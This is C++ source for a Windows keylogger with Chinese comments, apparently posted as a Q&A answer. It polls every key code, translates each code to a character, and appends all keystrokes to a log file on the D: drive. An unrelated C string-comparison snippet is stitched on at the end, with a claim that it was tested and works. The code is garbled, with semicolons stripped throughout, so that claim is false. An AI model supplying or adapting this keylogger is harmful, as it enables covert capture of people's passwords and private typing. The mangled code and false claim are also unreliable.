#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
using namespace std
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = ""
//判断符号输入
const int KeyPressMask=0x80000000//键盘掩码常量
int iShift=GetKeyState(0x10)//判断Shift键状态
bool IS=(iShift &KeyPressMask)==KeyPressMask//表示按下Shift键
if(Key >=186 &&Key <=222)
{
switch(Key)
{
case 186:
if(IS)
KeyString = ":"
else
KeyString = ""
break
case 187:
if(IS)
KeyString = "+"
else
KeyString = "="
break
case 188:
if(IS)
KeyString = "<"
else
KeyString = ","
break
case 189:
if(IS)
KeyString = "_"
else
KeyString = "-"
break
case 190:
if(IS)
KeyString = ">"
else
KeyString = "."
break
case 191:
if(IS)
KeyString = "?"
else
KeyString = "/"
break
case 192:
if(IS)
KeyString = "~"
else
KeyString = "`"
break
case 219:
if(IS)
KeyString = "{"
else
KeyString = "["
break
case 220:
if(IS)
KeyString = "|"
else
KeyString = "\\"
break
case 221:
if(IS)
KeyString = "}"
else
KeyString = "]"
break
case 222:
if(IS)
KeyString = '"'
else
KeyString = "'"
break
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = "[Esc]"
else if (Key == VK_F1) // F1至F12
KeyString = "[F1]"
else if (Key == VK_F2)
KeyString = "[F2]"
else if (Key == VK_F3)
KeyString = "[F3]"
else if (Key == VK_F4)
KeyString = "[F4]"
else if (Key == VK_F5)
KeyString = "[F5]"
else if (Key == VK_F6)
KeyString = "[F6]"
else if (Key == VK_F7)
KeyString = "[F7]"
else if (Key == VK_F8)
KeyString = "[F8]"
else if (Key == VK_F9)
KeyString = "[F9]"
else if (Key == VK_F10)
KeyString = "[F10]"
else if (Key == VK_F11)
KeyString = "[F11]"
else if (Key == VK_F12)
KeyString = "[F12]"
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = "[PrScrn]"
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = "[Scroll Lock]"
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = "[Pause]"
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = "[Caps Lock]"
//-------------------------------------//
//控制键
else if (Key == 8) //<- 回格键
KeyString = "[Backspace]"
else if (Key == VK_RETURN) // 回车键、换行
KeyString = "[Enter]\n"
else if (Key == VK_SPACE) // 空格
KeyString = " "
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = "[Shift]"
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = "[SHIFT]"
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键
KeyString = "[Tab]"
else if (Key == VK_LCONTROL) // 左控制键
KeyString = "[Ctrl]"
else if (Key == VK_RCONTROL) // 右控制键
KeyString = "[CTRL]"
else if (Key == VK_LMENU) // 左换档键
KeyString = "[Alt]"
else if (Key == VK_LMENU) // 右换档键
KeyString = "[ALT]"
else if (Key == VK_LWIN) // 右 WINDOWS 键
KeyString = "[Win]"
else if (Key == VK_RWIN) // 右 WINDOWS 键
KeyString = "[WIN]"
else if (Key == VK_APPS) // 键盘上 右键
KeyString = "右键"
else if (Key == VK_INSERT) // 插入
KeyString = "[Insert]"
else if (Key == VK_DELETE) // 删除
KeyString = "[Delete]"
else if (Key == VK_HOME) // 起始
KeyString = "[Home]"
else if (Key == VK_END) // 结束
KeyString = "[End]"
else if (Key == VK_PRIOR) // 上一页
KeyString = "[PgUp]"
else if (Key == VK_NEXT) // 下一页
KeyString = "[PgDown]"
// 不常用的几个键:一般键盘没有
else if (Key == VK_CANCEL) // Cancel
KeyString = "[Cancel]"
else if (Key == VK_CLEAR) // Clear
KeyString = "[Clear]"
else if (Key == VK_SELECT) //Select
KeyString = "[Select]"
else if (Key == VK_PRINT) //Print
KeyString = "[Print]"
else if (Key == VK_EXECUTE) //Execute
KeyString = "[Execute]"
//----------------------------------------//
else if (Key == VK_LEFT) //上、下、左、右键
KeyString = "[←]"
else if (Key == VK_RIGHT)
KeyString = "[→]"
else if (Key == VK_UP)
KeyString = "[↑]"
else if (Key == VK_DOWN)
KeyString = "[↓]"
else if (Key == VK_NUMLOCK)//小键盘数码锁定
KeyString = "[NumLock]"
else if (Key == VK_ADD) // 加、减、乘、除
KeyString = "+"
else if (Key == VK_SUBTRACT)
KeyString = "-"
else if (Key == VK_MULTIPLY)
KeyString = "*"
else if (Key == VK_DIVIDE)
KeyString = "/"
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
KeyString = "."
//小键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = "0"
else if (Key == VK_NUMPAD1)
KeyString = "1"
else if (Key == VK_NUMPAD2)
KeyString = "2"
else if (Key == VK_NUMPAD3)
KeyString = "3"
else if (Key == VK_NUMPAD4)
KeyString = "4"
else if (Key == VK_NUMPAD5)
KeyString = "5"
else if (Key == VK_NUMPAD6)
KeyString = "6"
else if (Key == VK_NUMPAD7)
KeyString = "7"
else if (Key == VK_NUMPAD8)
KeyString = "8"
else if (Key == VK_NUMPAD9)
KeyString = "9"
//-------------------------------------------//
//-------------------------------------------//
//*对字母的大小写进行判断*//
else if (Key >=97 &&Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) //Shift按下:为小写字母
KeyString = Key
else // 只有大写锁定:输出大写字母
KeyString = Key - 32
}
else// 大写没有锁定
{
if(IS) // 按下Shift键: 大写字母
KeyString = Key - 32
else // 没有按Shift键: 小写字母
KeyString = Key
}
}
else if (Key >=48 &&Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48: //0
KeyString = ")"
break
case 49://1
KeyString = "!"
break
case 50://2
KeyString = "@"
break
case 51://3
KeyString = "#"
break
case 52://4
KeyString = "$"
break
case 53://5
KeyString = "%"
break
case 54://6
KeyString = "^"
break
case 55://7
KeyString = "&"
break
case 56://8
KeyString = "*"
break
case 57://9
KeyString = "("
break
}
}
else
KeyString = Key
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >=65 &&Key <=90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
{
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
KeyString = Key + 32
else //只有大写锁定:输出为大写字母
KeyString = Key
}
else // 大写没有锁定:a-z
{
if(IS)
{
KeyString = Key
}
else
{
Key = Key + 32
KeyString = Key
}
}
}
}
return KeyString
}
int main()
{
string Filename = "D:\\log.txt"//倒出记录文本存在D盘log.txt目录下
string TempString = ""
fstream FStream
cout<<"现在开始键盘记录"
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app)
while(true)
{
Sleep(5)
for(int i = 8i <=255i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i)
FStream.write(TempString.c_str(), TempString.size())
FStream.close()
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app)
}
}
}
}
#include #include #define Max 100int main(){char a[Max]//输入的字符串char b[Max]="小明"//比较的字符串printf("你是?\n") scanf("%s",a)//输入字符串,这种方式字符串之间不能有空格,用,if(strcmp(a,b)==0){//如果相等的话返回值为0printf("你好\n") }else{printf("不认识你\n") }return 0}经过测试,可行!满意请采纳!